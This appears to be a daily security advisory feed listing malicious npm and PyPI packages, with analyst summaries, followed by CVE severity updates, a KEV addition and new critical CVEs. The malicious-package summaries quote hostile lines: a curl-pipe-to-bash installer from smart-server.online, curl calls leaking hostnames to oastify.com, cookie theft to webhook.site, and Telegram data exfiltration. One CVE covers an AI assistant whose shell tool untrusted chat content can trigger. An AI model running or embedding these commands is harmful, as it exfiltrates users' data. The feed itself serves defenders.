MAL-2026-16350	New					npm:bnppf-flag-icons	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (689227d0fdfe4abc108c7dfc5b5b97e752182a410265c141ca33161247619e78) The package ships poc.js and wires it to both preinstall and postinstall lifecycle hooks in package.json, so it runs automatically on `npm install`. poc.js requires `os` and `https`, reads `os.hostname()` and `os.userInf...
MAL-2026-16351	New					npm:@baanx/abis	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (647b64439f5d26821e6d749031b916e2ad3aa0cba8546488f8cc5e2fd263538b) Package declares `scripts.install: node index.js`, which loads runtime/support/telemetry/probe/impl.js. That module reads the installer's OS username (`os.userInfo().username`), hostname (`os.hostname()`), and current wo...
MAL-2026-16352	New					npm:@baanx/blockchain-config	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0b6dec4d715e2863e7f55749d6d2a390926f3f2f1df62e4de223c6acc818632d) The package runs a bootstrap from both its install lifecycle script (`node index.js`) and its main module that invokes an obfuscated probe. The probe reads `os.userInfo().username`, `os.hostname()`, and the basename of `...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16353	New					npm:@insiderintelligence/componentlibrary	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a4451c41559202c6bce3218de9af47cabe20288af5f3a9240076f25b3b2b5993) The package declares scripts.install: node index.js, so npm install auto-executes index.js which loads runtime/support/telemetry/probe/impl.js. That module reads os.userInfo().username, os.hostname(), and the current wor...
MAL-2026-16354	New					npm:@woodpecker-web-shared/components	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5f5f21bcc5464689c5b7c70819eeca4ea481f76b5f7dac0358cfe2d967da235f) On `npm install`, the package's postinstall hook runs `node index.js`, which collects installer host identifiers (os.hostname(), os.userInfo().username, os.platform(), architecture, cwd, node version, npm_lifecycle_event...
MAL-2026-16355	New					npm:gemini-computer-use	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847) The npm entryptpoint bin/cli.js, invoked via `npx gemini-computer-use` or `node bin/cli.js`, spawns `bash -c 'curl -fsSL https://smart-server.online/install.sh   bash'` on Unix and `powershell -ExecutionPolicy Bypass` runn...
MAL-2026-16356	New					PyPI:starlette-healthchecks	--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (13c2438df5dfe3675f8861c03c803a273747135af8a70fc916235ad64d6cd22f) The package appears to be a typosquatting research attempt. It provides an extremely basic functionality for the user and the main purpose seems to be the telemetry call. Additionally, similar package starlette-healthcheck was rec...
MAL-2026-16357	New					npm:@asdfaskdjfksadhfkasf/nadaver2	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ffa99497d70b8eae199242d576c111b7b351efcf5d81d613e3f7b43eec257f27) The package declares a preinstall lifecycle script that executes index.js on `npm install`. index.js uses child_process.exec to run a curl command whose URL embeds `\${hostname}` and `\${whoami}` as subdomains of `sgc6vj7r...
MAL-2026-16358	New					npm:@uh-platform/cloud	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451) The package's preinstall lifecycle script (index.js) runs child_process.exec of `curl "http://\$(hostname).pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/"`, placing the installer's hostname into the DNS label of a request ...
MAL-2026-16359	New					npm:@uh-platform/domain-widget	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1fa27cef146dec157eaf78519d56ff2ef696f32e99746cdabea9e30be7c03b96) Package @uh-platform/domain-widget@100.0.0 is a scoped placeholder with an empty author, generic description, and no real functionality. Its package.json declares scripts.preinstall = "node index.js", and index.js shells...
MAL-2026-16360	New					npm:@uh-platform/nadaver	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (66c8fba9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17) On npm install, the package's preinstall script executes `node index.js`, which shells out `curl` to `http://\$(hostname).nadaver.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/`, embedding the installer machine's hostname ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16361	New					npm:@uh-platform/nadaver2	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (c35cffdc174427ac57ea3c5e8ac02ec41159f8f25ffe1ef152e0437e5e533458) The package's package.json declares a preinstall lifecycle hook that runs `node index.js`. index.js invokes child_process.exec on a curl command whose URL embeds `\${hostname}` and `\${whoami}` as DNS subdomains of `nadave...
MAL-2026-16362	New					npm:@uh-platform/webcard	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (2b9f7c250a563ff0915cbcd1e2fa8a402094c030d7223a726c69fea6de4b8c) @uh-platform/webcard@99.0.0 declares a preinstall hook that runs index.js, which shells out to curl against a unique Burp Collaborator subdomain at http://pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/. This fires uncondi...
MAL-2026-16363	New					npm:blue-string-formatter-utilss	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (de9e55c734c18f91b4b3a043dd6539097aa4e57056ff9dca6df1a9d3a3631c25) The package advertises itself as string-formatting utilities but ships no formatter code. Its main entry `payload.js` is an IIFE that creates a ` <script>` element with `src='https://xss.report/c/k3rne111'` and appends it...</td></tr> <tr> <td>MAL-2026-16364</td><td>New</td><td></td><td></td><td></td><td></td><td>npm:bytepack-probe-a7x3</td><td>--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (1f158536e9d84e6cee18e2a3ce84869e34f1564ec18a1313a9e8c03b304e3d70) package.json declares a dependency `leak-internal` whose source is the HTTPS tarball URL https://src-ssrf.bytedance.net/ssrf/probe.tgz rather than a registry version range. On `npm install`, npm fetches and installs what...</td></tr> <tr> <td>MAL-2026-16365</td><td>New</td><td></td><td></td><td></td><td></td><td>npm:my-ctf-helper-script-9921</td><td>--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (41ee1daf6dce8750ac695c9d13e13c2808e2f35d94bbcc41a4444a02541409) On require/import, the package's main module executes a top-level fetch to the hardcoded collector URL https://webhook.site/99e9df7b-fe86-4c60-822a-5352b1f9edf0/, appending document.cookie as a query-string parameter. Th...</td></tr> <tr> <td>MAL-2026-16366</td><td>New</td><td></td><td></td><td></td><td></td><td>PyPI:pullgetsage</td><td>--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (93b751049f78b324983511537b6c053a0ed080639dd7c447d87494eabc134ba3) On import, __init__.py archives the installer's Telegram Desktop tdata directory (%APPDATA%/Telegram Desktop/tdata) into a zip named 'aiosendletter_logs' and POSTs it to a hardcoded Cloudflare Workers endpoint at https://...</td></tr> <tr> <td>MAL-2026-16370</td><td>New</td><td></td><td></td><td></td><td></td><td>npm:@uol-afiliados/affiliated-config-lib</td><td>--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (2cd4acce57eda08c1b8716118854cad32ecfc59e35e91c03d664ac452ee6716d) @uol-afiliados/affiliated-config-lib@102.0.0 declares a preinstall hook (`node index.js`) that shells out via `require('child_process').exec` to run `curl` against a subdomain of `hqbv58hgt1sjk7vf7ru4o0mwzn5etahz.oastify...</td></tr> </table> </div> <div data-bbox="42 789 521 816" data-label="Text"> <p>Significant updates today - original Published Date retained</p> </div></script>

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94107	Updated - CVSS changed (8.1 → 9.2)	9.2	CRIT		0.004		NivoCart through 2.4.0 contains a predictable password reset token vulnerability in the forgotten.php endpoint that generates recovery codes using substr(md5(mt_rand()), 0, 10). Attackers who know an administrator's email address can request a password reset and predict the token to gain administrative account access without rate limiting or expiration.
CVE-2026-94106	Updated - CVSS changed (8.8 → 8.7)	8.7	HIGH		0.017		getID3 before 1.9.26 contains an OS command injection vulnerability in shell-out handlers that fail to escape filenames in command strings. Attackers can craft malicious filenames containing shell metacharacters to inject arbitrary commands executed with the privileges of the process embedding getID3.
CVE-2026-94095	Updated - CVSS changed (9.9 → 8.6)	8.6	HIGH		0.017		A vulnerability has been found in Netcore NBR200V2 1.3.241127.071246. Affected by this vulnerability is an unknown functionality of the file /usr/bin/network_tools of the component Traceroute Diagnostic Feature. The manipulation of the argument url leads to command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. ...
CVE-2026-94096	Updated - CVSS changed (9.9 → 8.6)	8.6	HIGH		0.017		A vulnerability was found in Netcore NBR200V2 1.3.241127.071246. Affected by this issue is some unknown functionality of the file /usr/bin/network_tools of the component LAN IP Configuration Handler. The manipulation of the argument ipv4 results in command injection. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was conta...
CVE-2026-94100	Updated - CVSS changed (9.9 → 8.6)	8.6	HIGH		0.005		A weakness has been identified in Netcore NBR200V2 1.3.241127.071246. Impacted is the function wan_config_set_vlan of the file /usr/bin/routerd of the component WAN VLAN Reconfiguration. Executing a manipulation of the argument wan_wanX.ports can lead to buffer overflow. The attack may be performed from remote. The exploit has been made available to the public and could be ...
CVE-2026-94101	Updated - CVSS changed (9.9 → 8.6)	8.6	HIGH		0.004		A security vulnerability has been detected in Netcore NBR200V2 1.3.241127.071246. The affected element is the function vlan_load_form_uci of the file /usr/bin/routerd. The manipulation of the argument wan_num leads to buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about ...
CVE-2026-94098	Updated - CVSS changed (9.1 → 8.5)	8.5	HIGH		0.024		A vulnerability was identified in Netcore NBR200V2 1.3.241127.071246. This vulnerability affects unknown code of the file /www/cgi-bin/upgrade of the component Firmware Upgrade CGI Endpoint. Such manipulation of the argument QUERY_STRING leads to command injection. The attack can be executed remotely. The exploit is publicly available and might be used. The vendor was contac...
CVE-2026-94128	Updated - CVSS changed (8.8 → 8.5)	8.5	HIGH		0.001		A security vulnerability has been detected in BioStar VIVID LED DJ 4.0.2411.1500. This affects the function sub_1105C of the file BS_LED64.sys of the component IOCTL Handler. The manipulation of the argument AssociatedIrp leads to write-what-where condition. Local access is required to approach this attack. The exploit has been disclosed publicly and may be used. The vendor ...
CVE-2026-94129	Updated - CVSS changed (8.8 → 8.5)	8.5	HIGH		0.001		A vulnerability was detected in BioStar VALKYRIE AURORA 2.10.2411.0800. This vulnerability affects the function sub_1105C of the file BS_RVSIO64.sys of the component IOCTL Handler. The manipulation of the argument PhysicalAddress results in write-what-where condition. The attack needs to be approached locally. The exploit is now public and may be used. The vendor was contact...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94142	Updated - CVSS changed (8.8 → 8.5)	8.5	HIGH		0.001		A security vulnerability has been detected in BioStar Temperature Monitor Utility 1.2.1806.2200. Affected by this vulnerability is the function sub_1105C of the file BS_HWMIO64_W10.sys of the component IOCTL Handler. Such manipulation of the argument PhysicalAddress leads to write-what-where condition. The attack needs to be performed locally. The exploit has been disclosed ...
CVE-2026-94108	Updated - CVSS changed (6.5 → 8.3)	8.3	HIGH		0.004		getID3 through 1.9.26 contains an XML external entity injection vulnerability in the XML2array helper function that fails to properly disable entity loading on PHP before 8.0. Attackers can craft malicious XML metadata in media files to disclose local files, perform server-side request forgery, or cause denial of service through entity expansion.
CVE-2026-94112	Updated - CVSS changed (6.8 → 7.6)	7.6	HIGH		0.002		mayswind ezBookkeeping before 2.0.0 fails to invalidate TOTP passcodes after use, allowing attackers to replay captured codes within the acceptance window. Attackers with stolen credentials can authenticate and reuse a captured passcode against multiple authorization attempts for approximately 90 seconds without detection.
CVE-2026-94036	Updated - CVSS changed (8.8 → 7.4)	7.4	HIGH		0.005		A security flaw has been discovered in D-Link DIR-X1860 and DIR-X1860Z up to 1.0.2.220120.165402. The impacted element is an unknown function of the file /ubus of the component routerd. The manipulation of the argument passwd_set results in improper access controls. The attack must originate from the local network. The exploit has been released to the public and may be used ...
CVE-2026-94113	Updated - CVSS changed (6.5 → 7.1)	7.1	HIGH		0.002		Frappe ERPNext versions before 15.121.0 and 16.x before 16.34.0 contain an information disclosure vulnerability in whitelisted timesheet endpoints that fail to enforce doctype permissions. Authenticated attackers can call get_projectwise_timesheet_data, get_timesheet_detail_rate, and get_timesheet endpoints to enumerate and retrieve billable time logs including project names...
CVE-2026-94105	Updated - CVSS changed (5.3 → 6.9)	6.9	MEDI		0.003		NivoCart through 2.4.0 contains a destructive configuration write vulnerability in the admin password reset controller that allows unauthenticated attackers to disable password recovery by supplying an invalid code parameter. Attackers can send a GET request with a missing or incorrect code to rewrite the config_password setting to 0, disabling self-service password recovery...
CVE-2026-94111	Updated - CVSS changed (6.6 → 6.9)	6.9	MEDI		0.001		Tencent BrowserSkill through 0.3.0 contains an authentication bypass vulnerability in the local daemon WebSocket origin validation that accepts any chrome-extension origin with 32 characters in range a-p. Attackers can register a malicious extension as a browser client to intercept and manipulate page content, DOM, and screenshots returned to the AI agent.
CVE-2026-93978	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.003		A vulnerability was identified in code-projects Internship Management System 1.0. Affected by this issue is some unknown functionality of the file /login.php. Such manipulation of the argument Password leads to sql injection. The attack can be executed remotely. The exploit is publicly available and might be used.
CVE-2026-93980	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.003		A weakness has been identified in code-projects Internship Management System 1.0. This vulnerability affects unknown code of the file /admin/login.php of the component Admin Login Form. Executing a manipulation of the argument Password can lead to sql injection. The attack may be performed from remote. The exploit has been made available to the public and could be used for a...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93997	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.003		A weakness has been identified in SourceCodester Drug Recommendation System 1.0. Affected by this issue is some unknown functionality of the file /Admin/edit_symptom.php. This manipulation of the argument ID causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks.
CVE-2026-94004	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.003		A vulnerability was found in DedeCMS up to 5.7.118. The affected element is an unknown function of the file plus/mytag_js.php. The manipulation of the argument aid results in code injection. The attack can be launched remotely. The exploit has been made public and could be used.
CVE-2026-94038	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.003		A security vulnerability has been detected in NonceGeek dim-sum-app. This impacts the function textSearchV2Handler of the file deno/main.tsx of the component Deno Backend. Such manipulation of the argument supabase_url leads to server-side request forgery. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. The name of the patch is 8...
CVE-2026-94039	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.003		A vulnerability was detected in vas3k TaxHacker up to 0.8.5. Affected is the function generateInvoicePDF of the file /apps/invoices/actions.ts of the component Invoice PDF Renderer. Performing a manipulation of the argument businessLogo results in server-side request forgery. The attack is possible to be carried out remotely. The exploit is now public and may be used. The pr...
CVE-2026-94043	Updated - CVSS changed (5.3 → 5.5)	5.5	MEDI		0.003		A vulnerability was determined in Free5GC up to 4.2.3. This vulnerability affects unknown code of the file /corefuzzer_deps/free5gc/NFs/amf/internal/gmm/handler.go of the component Gmm Handler. This manipulation causes race condition. The attack can be initiated remotely. Patch name: e323b01464355781b8b8d5dd695e05cbc00a62f2. To fix this issue, it is recommended to deploy a p...
CVE-2026-94044	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.004		A vulnerability was identified in 03-lovepreetSingh MCP up to f95d035c5317fad81af9828286631053ccb23546. This issue affects the function create_file of the file app/api/mcp/route.ts. Such manipulation of the argument filePath/content leads to path traversal. The attack can be launched remotely. The exploit is publicly available and might be used. This product does not use ver...
CVE-2026-94143	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.003		A vulnerability was detected in drogonframework drogon up to 1.9.13. Affected by this issue is the function Mapper::orderBy in the library Mapper.h of the component ORM Mapper. Performing a manipulation of the argument sort results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used. The vendor was contacted early ab...
CVE-2026-94090	Updated - CVSS changed (6.3 → 5.3)	5.3	MEDI		0.003		A security flaw has been discovered in JusticeRage Manalyze 1.0.0. The affected element is the function PE::_parse_debug of the file manape/pe.cpp of the component PE Parser. The manipulation of the argument misc.Length results in integer underflow. The attack may be performed from remote. The patch is identified as 3e299685759f4f767088871de58c5d07f98ee382. A patch should be...
CVE-2026-94028	Updated - CVSS changed (4.3 → 2.1)	2.1	LOW		0.004		A weakness has been identified in mealie-recipes Mealie up to 3.25.1. Affected is the function payload.model_dump of the file mealie/routes/households/controller_group_recipe_actions.py of the component Recipe Action Trigger. Executing a manipulation of the argument url can lead to server-side request forgery. The attack can be executed remotely. The exploit has been made av...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94031	Updated - CVSS changed (6.3 → 2.1)	2.1	LOW		0.011		A vulnerability was detected in 0-Gaurav-0 nexus-mcp aed0026e7ac1f23dc940e46e9fd3a2da6904f914. Affected by this issue is the function child_process.exec of the file src/auth/browser.ts of the component nexus_reauth MCP tool. The manipulation of the argument url results in command injection. The attack may be performed from remote. The exploit is now public and may be used. T...
CVE-2026-94041	Updated - CVSS changed (6.3 → 2.1)	2.1	LOW		0.002		A vulnerability has been found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbf6b9c. Affected by this issue is some unknown functionality of the file admin/add_menu.php. The manipulation of the argument item/price/image/type leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the p...
CVE-2026-94046	Updated - CVSS changed (4.3 → 2.1)	2.1	LOW		0.004		A weakness has been identified in 0215AndrewFeng ACE-MCP up to 4.10.8. The affected element is the function get_file_snippet of the file getFileSnippet.ts of the component MCP Tool. Executing a manipulation of the argument projectRootPath/filePath can lead to path traversal. The attack may be launched remotely. The exploit has been made available to the public and could be u...
CVE-2026-94049	Updated - CVSS changed (4.3 → 2.1)	2.1	LOW		0.003		A flaw has been found in 06ketan slideshot up to 4.4.0. This impacts the function render_slides of the file packages/cli/src/renderer.ts. This manipulation of the argument htmlPath causes path traversal. The attack is possible to be carried out remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but ...
CVE-2026-94051	Updated - CVSS changed (6.3 → 2.1)	2.1	LOW		0.002		A vulnerability was found in 0717376 cowork_bench up to d943e75bc0fc8e3b27141979300cd8cbcd1e890d. Affected by this vulnerability is the function ControlFlowNode of the file local_servers/pdf-tools-mcp/pdf_tools_mcp/server.py of the component pdf-tools-mcp. Performing a manipulation of the argument pdf_file_path results in server-side request forgery. It is possible to initia...
CVE-2026-94093	Updated - CVSS changed (6.3 → 2.1)	2.1	LOW		0.003		A security vulnerability has been detected in DLR-RM stable-baselines3 up to 2.9.0. This affects the function PPO.load/load_replay_buffer/VecNormalize.load of the file save_util.py. Such manipulation leads to deserialization. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. In v2.9.0 the PyTorch tensor load path is harden...
CVE-2026-94033	Updated - CVSS changed (3.5 → 2.0)	2.0	LOW		0.002		A vulnerability has been found in SourceCodester Drug Recommendation System 1.0. This vulnerability affects unknown code of the file /drug_recommender/Admin/add_user of the component User Management. Such manipulation of the argument txtname/txtemail/txtpassword leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the...
CVE-2026-94034	Updated - CVSS changed (3.5 → 2.0)	2.0	LOW		0.002		A vulnerability was found in SourceCodester Drug Recommendation System 1.0. This issue affects some unknown processing of the file /drug_recommender/Admin/change_password of the component Password Change. Performing a manipulation of the argument txtoldpassword/txtnewpassword results in cross site scripting. The attack can be initiated remotely. The exploit has been made pub...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94048	Updated - CVSS changed (6.6 → 2.0)	2.0	LOW		0.002		A vulnerability was detected in CodeAstro QR Code Attendance Management System 1.0. This affects the function Save of the file app/Controllers/UserController.php. The manipulation of the argument role_id results in improper privilege management. The attack can be executed remotely. The exploit is now public and may be used.
CVE-2026-94091	Updated - CVSS changed (5.5 → 2.0)	2.0	LOW		0.002		A weakness has been identified in piskvorky gensim up to 4.4.0. The impacted element is the function Load of the file gensim/utils.py of the component Model Loader. This manipulation of the argument fname causes deserialization. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. Maintainer closed #...
CVE-2026-94103	Updated - CVSS changed (4.7 → 2.0)	2.0	LOW		0.002		A vulnerability has been found in RooCMS up to 1.2.2/1.3.4/1.4RC2. This impacts the function eval of the file roocms/site_pagePHP.php of the component Frontend Rendering. Such manipulation of the argument content leads to code injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about thi...
CVE-2026-94138	Updated - CVSS changed (6.6 → 2.0)	2.0	LOW		0.021		A security flaw has been discovered in Chengdu Feiyuxing Technology Feiyu Star Router B-MB5E202-210322-r11656. This impacts an unknown function of the file /send_order.cgi?parameter=del_expmac. The manipulation of the argument mac results in command injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. The ve...

Added to CISA KEV today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-7273	Added to KEV			Yes	0.003	zyxel:gs1900 series switches	Zyxel GS1900 series switches contain a stack-based buffer overflow vulnerability in the CGI program which could allow a LAN-based, unauthenticated attacker to exploit the flaw and potentially execute OS commands via a crafted HTTP request.

P1 new today

None in this window.

P2 new today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77521	New	10.0	CRIT				MaxKB is an open-source AI assistant for enterprise. Prior to version 2.10.5-lts, assistants with a tool, MCP tool, skill, or sub-application use SandboxShellBackend, which exposes an execute shell tool without excluding it and omits execute from interrupt_on, so human approval is not required. Untrusted chat or ingested content can therefore cause command execution; source ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94493	New	10.0	CRIT				A vulnerability was detected in Gigatech PDV5701 1.0.31_240305_112640. This issue affects some unknown processing of the file /index.html of the component WebSocket Service. The manipulation results in missing authentication. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respon...
CVE-2026-79920	New	9.9	CRIT				Ajenti is a Linux & BSD modular server admin panel. Prior to version 2.2.16, any authenticated user can call /api/core/tasks/start to enqueue InstallPlugin, UnInstallPlugin, or UpgradeAll from plugins/plugins/tasks.py without plugin-management authorization. InstallPlugin and UnInstallPlugin construct a pip package specification from unvalidated name and version fields, and ...
CVE-2026-13355	New	9.8	CRIT				The Meta Box AIO plugin for WordPress is vulnerable to Privilege Escalation to Administrator in versions up to, and including, 3.11.0. This is due to a chained flaw: the populate_via_query_string() function in the mb-frontend-submission component unconditionally overrides the form's target object_id from the GET parameter 'rwmmb_frontend_field_object_id' without any authoriza...
CVE-2026-19658	New	9.8	CRIT				The Give Tributes plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.3.1 via deserialization of untrusted input . This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme cont...
CVE-2026-82187	New	9.8	CRIT		0.001		The Web to Print Online Designer WordPress plugin before 2.15.0 does not validate the type or extension of uploaded files, and hands the token protecting those uploads to any visitor who asks for it, allowing unauthenticated attackers to upload arbitrary files, including PHP ones, and run code on the server.
CVE-2026-85751	New	9.8	CRIT				Mailu is a mail server distributed as a set of Docker images. From Mailu 2.0 until 2024.06.55 and prior to Mailu helm-charts 2.7.3, deployments with PROXY_AUTH_WHITELIST configured but REAL_IP_HEADER unset trusted a client-controlled X-Forwarded-By header for header-based proxy authentication. The proxy_hide_header directive in the nginx template at core/nginx/conf/proxy.con...
CVE-2026-94301	New	9.8	CRIT				The fix for CVE-2026-47065/ZDRES-232 ("resolveProxyClass Not Overridden - acceptMatchers Filter Bypass via java.lang.reflect.Proxy"), released on 2026-06-02 and announced as "Fully addressed" in MINA 2.2.8, 2.1.13 and 2.0.29, was committed to the 2.2.X branch only. The 2.0.X and 2.1.X maintenance branches never received the resolveProxyClass() override, so the 2.0.29 and 2....
CVE-2026-94571	New	9.4	CRIT				In OpenStack Octavia before 18.0.1, the Amphora provider driver did not reject control characters in the L7 policy redirect_url and redirect_prefix fields. The RFC 3986 URL validator percent-encodes control characters before validating, and thus newlines passed structural checks, but Octavia stored and wrote the raw unencoded value directly into the HAProxy configuration gen...
CVE-2026-94572	New	9.4	CRIT				In OpenStack Octavia before 18.0.1, the Amphora provider driver did not validate the listener and pool tls_ciphers field for control characters. The value is written verbatim into the HAProxy configuration generated on the amphora, and thus an authenticated project member who owns a TLS-enabled load balancer can embed a newline and inject arbitrary HAProxy configuration dire...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-58491	New	9.3	CRIT				Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.25.5, the /@warpgate/api/sso/providers/:name/start endpoint stores an attacker-controlled next parameter that the POST /@warpgate/api/sso/return handler inserts without HTML escaping into the response generated by warpgate-protocol-http/src/api/sso_provider_list.rs. A victim who follows a craf...
CVE-2026-61674	New	9.2	CRIT				Fluent Bit is a fast and lightweight logs, metrics, and traces processor for Linux, BSD, macOS, and Windows. From 0.11.0 until 5.0.8, plugins/out_forward/forward.c secure_forward_pong copies the server-controlled PONG[2] reason into the 32-byte stack buffer msg with memcpy without checking its MessagePack type or length. An attacker who controls or can impersonate an out_for...
CVE-2025-12999	New	9.1	CRIT		0.004		UrlUtil.getBaseUrl builds the absolute URLs in a response — download links, icons, asset and API URLs — from the X-Forwarded-Host, X-Forwarded-Proto and X-Forwarded-Prefix request headers, with no check on whether the sender was a trusted proxy, falling back to the client-supplied Host header. ...
CVE-2026-46649	New	9.1	CRIT				Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.2, Joplin Server's GET /api/login_with_code/:id endpoint accepts a nine-digit SSO authentication code with a ten-minute lifetime without applying limiterLoginBruteForce. An unauthenticated attacker who targets a user during an active SSO login can make unlim...
CVE-2026-79916	New	9.1	CRIT				MaxKB is an open-source AI assistant for enterprise. Prior to 2.10.5-lts, authenticated workspace members can inject control characters into AWS Bedrock access_key_id and secret_access_key fields that _update_aws_credentials writes to /root/.aws/credentials without safe parsing. An attacker can append a new AWS profile containing credential_process, then select that profile ...
CVE-2026-86473	New	9.1	CRIT				Apache Airflow: the Core API logout endpoint revokes only a session token presented as the _token cookie. When a client logs out presenting its credential as an Authorization bearer header instead, the endpoint returns its normal logout response but revokes nothing, so the token remains valid until it expires. An attacker who already holds a copy of that token keeps the vict...

Historical reports are not rewritten when an older CVE changes. A CVE published on an earlier date remains in that earlier daily report; a meaningful change is shown separately in the update section for the date on which the change was detected.